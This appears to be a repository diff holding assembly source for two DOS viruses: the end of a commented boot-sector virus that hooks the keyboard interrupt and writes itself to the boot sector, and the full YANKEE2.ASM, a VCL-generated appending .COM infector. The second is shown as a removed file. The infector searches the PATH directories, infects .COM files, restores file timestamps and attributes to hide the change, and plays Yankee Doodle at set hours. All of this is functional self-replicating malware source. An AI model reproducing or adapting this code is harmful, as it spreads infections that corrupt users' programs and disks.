SUB AX,07E0H ; Subtract address after boot area
MOV ES,AX ; Target segment
ASSUME DS:CODE
PUSH CS ; \ Set DS to CS
POP DS ; /
CMP DI,3456H ; Simulated system reset?
JNE BP0010 ; Branch if not
DEC GENNUM[7C00H] ; Decrement generation number
BP0010: MOV SI,SP ; \ Address boot sector area
MOV DI,SI ; /
MOV CX,0200H ; 512 bytes to move
CLD
REPZ MOVSB ; Copy virus to high core
MOV SI,CX ; Address offset zero
MOV DI,7B80H ; Address interrupt save area
MOV CX,0080H ; 128 bytes to move
REPZ MOVSB ; Save first 32 interrupt pointers
CALL BP0030 ; Install interrupt 9 routine
PUSH ES ; \ Transfer to high core
; POP CS ; /
DB 0FH ; This is the previous instruction
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV BX,SP ; Address boot sector area
MOV DX,CX ; A-drive, head zero
MOV CX,2708H ; Track 39, sector 8
MOV AX,0201H ; Read one sector
INT 13H ; Disk I/O
BP0020: JB BP0020 ; Loop on error
JMP BP0190
; Install interrupt 9 routine
BP0030: DEC DW0413 ; Decrement RAM size
MOV SI,OFFSET BW0024 ; Address INT 9 pointer
MOV DI,OFFSET INT_09+7C00H ; Target far jump
MOV CX,4 ; 4 bytes to copy
CLI
REPZ MOVSB ; Copy far address
MOV BW0024,OFFSET BP0050+7C00H ; Install new offset
MOV BW0026,ES ; Install new segment
STI
RET
; Ctrl-Alt-Del depressed - acknowledge keyboard signal
BP0040: IN AL,61H ; Get port B
MOV AH,AL ; Save current state
OR AL,80H ; Turn top bit on
OUT 61H,AL ; Set port B
XCHG AL,AH ; Get original state
OUT 61H,AL ; Reset port B
JMP SHORT BP0110
; Format table for track 39, head zero, 8 sectors (unused)
DB 027H, 000H, 001H, 002H
DB 027H, 000H, 002H, 002H
DB 027H, 000H, 003H, 002H
DB 027H, 000H, 004H, 002H
DB 027H, 000H, 005H, 002H
DB 027H, 000H, 006H, 002H
DB 027H, 000H, 007H, 002H
DB 027H, 000H, 008H, 002H
; Rubbish
DB 024H, 000H, 0ADH, 07CH, 0A3H, 026H, 000H, 059H
DB 05FH, 05EH, 007H, 01FH, 058H, 09DH, 0EAH, 011H
DB 011H, 011H, 011H
; Interrupt 9 routine
BP0050: PUSHF
STI
PUSH AX
PUSH BX
PUSH DS
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
MOV BX,KYSTAT[7C00H] ; Get Ctrl & Alt key states
IN AL,60H ; Get keyboard token
MOV AH,AL ; Save keyboard token
AND AX,887FH
CMP AL,1DH ; Was key Ctrl?
JNE BP0060 ; Branch if not
MOV BL,AH ; Save Ctrl key state
JMP SHORT BP0080
BP0060: CMP AL,38H ; Was key Alt?
JNE BP0070 ; Branch if not
MOV BH,AH ; Save Alt key state
JMP SHORT BP0080
BP0070: CMP BX,0808H ; Are Ctrl & Alt depressed?
JNE BP0080 ; Branch if not
CMP AL,17H ; Is key I?
JE BP0100 ; Branch if yes
CMP AL,53H ; Is key Del?
JE BP0040 ; Branch if yes
BP0080: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
BP0090: POP DS
POP BX
POP AX
POPF
DB 0EAH ; Far jump to original INT 9
INT_09 DW 0E987H, 0F000H
; Pass on Ctrl-Alt-I
BP0100: JMP BP0240 ; Ctrl-Alt-I
; Ctrl-Alt-Del depressed - main processing
BP0110: MOV DX,03D8H ; VDU mode control address
MOV AX,0800H ; Delay eight cycles
OUT DX,AL ; Disable display
CALL BP0250 ; Delay
MOV KYSTAT[7C00H],AX ; Reset Ctrl & Alt key states
MOV AL,3 ; Mode three
INT 10H ; VDU I/O
MOV AH,2 ; Set cursor address function
XOR DX,DX ; Row zero, column zero
MOV BH,DH ; Page zero
INT 10H ; VDU I/O
MOV AH,1 ; Set cursor size function
MOV CX,0607H ; Cursor lines 6 to 7
INT 10H ; VDU I/O
MOV AX,0420H ; Delay 4 cycles
CALL BP0250 ; Delay
CLI
OUT 20H,AL ; End of interrupt
MOV ES,CX ; Address segment zero
MOV DI,CX ; Address offset zero
MOV SI,7B80H ; Address interrupt save area
MOV CX,0080H ; 128 bytes to move
CLD
REPZ MOVSB ; Restore first 32 interrupt pointers
MOV DS,CX ; Address zero
MOV BW0064,OFFSET BP0130+7C00H ; Install Int 19H offset
MOV BW0066,CS ; Install Int 19H segment
ASSUME DS:RAM
MOV AX,0040H ; \ Address RAM area
MOV DS,AX ; /
MOV BB0417,AH ; Set key toggles off
INC BW0413 ; Restore RAM size
PUSH DS
ASSUME DS:BOOT
MOV AX,0F000H ; \ Address BIOS
MOV DS,AX ; /
CMP DWE502,21E4H ; Is BIOS instruction IN AL,21H?
POP DS
JE BP0120 ; Branch if yes
INT 19H ; Disk bootstrap
BP0120: DB 0EAH ; Far jump to BIOS routine
DW 0E502H, 0F000H
; Interrupt 19H routine
ASSUME DS:BOOT
BP0130: XOR AX,AX ; \ Set DS to zero
MOV DS,AX ; /
MOV AX,DW0410 ; Get system configuration
TEST AL,1 ; Is there a floppy disk
JNZ BP0150 ; Branch if yes
BP0140: PUSH CS ; \ Set ES to CS
POP ES ; /
CALL BP0030 ; Install interrupt 9 routine
INT 18H ; Basica (IBM only)
BP0150: MOV CX,4 ; Retry four times
BP0160: PUSH CX ; Save retry count
MOV AH,0 ; Reset disk sub-system
INT 13H ; Disk I/O
JB BP0170 ; Branch if error
MOV AX,0201H ; Read one sector
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV BX,7C00H ; Boot sector buffer
MOV CX,1 ; Track zero, sector one
INT 13H ; Disk I/O
BP0170: POP CX ; Retrieve retry count
JNB BP0180 ; Branch if no error
LOOP BP0160 ; Retry
JMP BP0140
BP0180: CMP DI,3456H ; Simulated system reset?
JNE BP0200 ; Branch if not
BP0190: DB 0EAH ; Far jump to boot sector area
DW 7C00H, 0
BP0200: MOV SI,7C00H ; Boot sector area
MOV CX,OFFSET INT_09 ; Length to compare
MOV DI,SI ; Virus offset
PUSH CS ; \ Set ES to CS
POP ES ; /
CLD
REPZ CMPSB ; Is boot sector infected?
JE BP0220 ; Branch if yes
INC ES:GENNUM[7C00H] ; Increment generation number
MOV BX,7C7AH ; Address format table
MOV DX,0 ; Head zero, drive zero
MOV CH,27H ; Track 39
MOV AH,5 ; Format track
JMP SHORT BP0210 ; This line was probably an INT 13H
JB BP0230 ; Error branch for deleted INT 13H
BP0210: MOV ES,DX ; \ Write from boot sector area
MOV BX,7C00H ; /
MOV CL,8 ; Sector eight
MOV AX,0301H ; Write one sector
INT 13H ; Disk I/O
PUSH CS ; \ Set ES to CS
POP ES ; /
JB BP0230 ; Branch if error
MOV CX,1 ; Track zero, sector one
MOV AX,0301H ; Write one sector
INT 13H ; Disk I/O
JB BP0230 ; Branch if error
BP0220: MOV DI,3456H ; Signal simulated system reset
INT 19H ; Disk bootstrap
BP0230: CALL BP0030 ; Install interrupt 9 routine
DEC ES:GENNUM[7C00H] ; Decrement generation number
JMP BP0190
; Ctrl-Alt-I
ASSUME DS:CODE
BP0240: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
MOV AX,GENNUM[7C00H] ; Get generation number
ASSUME DS:RAM
MOV BX,0040H ; \ Address RAM area
MOV DS,BX ; /
MOV BW0472,AX ; Generation to system reset word
JMP BP0090 ; Pass on to original interrupt
; Delay
BP0250: SUB CX,CX ; Maximum count
BP0260: LOOP BP0260 ; Delay loop
SUB AH,1 ; Decrement count
JNZ BP0260 ; Repeat loop
RET
DB 027H, 000H, 008H, 002H ; Last sector of format table
GENNUM DW 016H ; Generation number
KYSTAT DW 0 ; Ctrl & Alt key states
DB 027H, 000H, 008H, 002H ; Last sector of format table
CODE ENDS
END START


View File

@ -1,342 +0,0 @@
; YANKEE2.ASM -- Yankee Doodle ][
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by Nowhere Man
virus_type equ 0 ; Appending Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call search_files ; Find and infect a file
call search_files ; Find and infect another file
call get_hour
cmp ax,0011h ; Did the function return 17?
jle skip00 ; If less that or equal, skip effect
cmp ax,0013h ; Did the function return 19?
jge skip00 ; If greater than or equal, skip effect
jmp short strt00 ; Success -- skip jump
skip00: jmp end00 ; Skip the routine
strt00: lea si,[di + data00] ; SI points to data
get_note: mov bx,[si] ; Load BX with the frequency
or bx,bx ; Is BX equal to zero?
je play_tune_done ; If it is we are finished
mov ax,034DDh ;
mov dx,0012h ;
cmp dx,bx ;
jnb new_note ;
div bx ; This bit here was stolen
mov bx,ax ; from the Turbo C++ v1.0
in al,061h ; library file CS.LIB. I
test al,3 ; extracted sound() from the
jne skip_an_or ; library and linked it to
or al,3 ; an .EXE file, then diassembled
out 061h,al ; it. Basically this turns
mov al,0B6h ; on the speaker at a certain
out 043h,al ; frequency.
skip_an_or: mov al,bl ;
out 042h,al ;
mov al,bh ;
out 042h,al ;
mov bx,[si + 2] ; BX holds duration value
xor ah,ah ; BIOS get time function
int 1Ah
add bx,dx ; Add the time to the length
wait_loop: int 1Ah ; Get the time again (AH = 0)
cmp dx,bx ; Is the delay over?
jne wait_loop ; Repeat until it is
in al,061h ; Stolen from the nosound()
and al,0FCh ; procedure in Turbo C++ v1.0.
out 061h,al ; This turns off the speaker.
new_note: add si,4 ; SI points to next note
jmp short get_note ; Repeat with the next note
play_tune_done:
end00:
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
mov bx,di ; BX points to the virus
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,135 ; Allocate 135 bytes on stack
mov byte ptr [bp - 135],'\' ; Start with a backslash
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 134] ; SI points to 64-byte buffer
int 021h
call traverse_path ; Start the traversal
traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
je done_searching ; If so then we're done
call found_subdir ; Otherwise copy the subdirectory
mov ax,cs ; AX holds the code segment
mov ds,ax ; Set the data and extra
mov es,ax ; segments to the code segment
xor al,al ; Zero AL
stosb ; NULL-terminate the directory
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 70] ; DX points to the directory
int 021h
lea dx,[bx + com_mask] ; DX points to "*.COM"
push di
mov di,bx
call find_files ; Try to infect a .COM file
mov bx,di
pop di
jnc done_searching ; If successful the exit
jmp short traversal_loop ; Keep checking the PATH
done_searching: mov ah,03Bh ; DOS change directory function
lea dx,[bp - 135] ; DX points to old directory
int 021h
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
jne at_least_tried ; If not then exit
stc ; Set the carry flag for failure
at_least_tried: mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
com_mask db "*.COM",0 ; Mask for all .COM files
search_files endp
traverse_path proc near
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
xor di,di ; DI holds the starting offset
find_path: lea si,[bx + path_string] ; SI points to "PATH="
lodsb ; Load the "P" into AL
mov cx,08000h ; Check the first 32767 bytes
repne scasb ; Search until the byte is found
mov cx,4 ; Check the next four bytes
check_next_4: lodsb ; Load the next letter of "PATH="
scasb ; Compare it to the environment
jne find_path ; If there not equal try again
loop check_next_4 ; Otherwise keep checking
mov word ptr [bx + path_ad],di ; Save the PATH address
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
ret ; Return to caller
path_string db "PATH=" ; The PATH string to search for
path_ad dd ? ; Holds the PATH's address
traverse_path endp
found_subdir proc near
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
lea di,[bp - 70] ; DI points to the work buffer
push cs ; Transfer CS into ES for
pop es ; byte transfer
move_subdir: lodsb ; Load the next byte into AL
cmp al,';' ; Have we reached a separator?
je moved_one ; If so we're done copying
or al,al ; Are we finished with the PATH?
je moved_last_one ; If so get out of here
stosb ; Store the byte at ES:DI
jmp short move_subdir ; Keep transfering characters
moved_last_one: xor si,si ; Zero SI to signal completion
moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address
ret ; Return to caller
found_subdir endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
lea dx,[di + start] ; DX points to start of virus
int 021h
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
get_hour proc near
mov ah,02Ch ; DOS get time function
int 021h
mov al,ch ; Copy hour into AL
cbw ; Sign-extend AL into AX
ret ; Return to caller
get_hour endp
data00 dw 262,6,262,6,293,6,329,6,262,6,329,6,293,6,196,6
dw 262,6,262,6,293,6,329,6,262,12,262,12
dw 262,6,262,6,293,6,329,6,349,6,329,6,293,6,262,6
dw 246,6,196,6,220,6,246,6,262,12,262,12
dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,6
dw 196,6,220,6,196,6,174,6,164,6,174,6,196,7
dw 220,6,246,6,220,6,174,6,220,6,246,6,262,6,220,7
dw 196,6,262,6,246,6,293,6,262,12,262,12
dw 0
vcl_marker db "[VCL]",0 ; VCL creation marker
note db "[Yankee Doodle 2]",0
db "Nowhere Man, [NuKE] '92",0
finish label near
code ends
end main

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff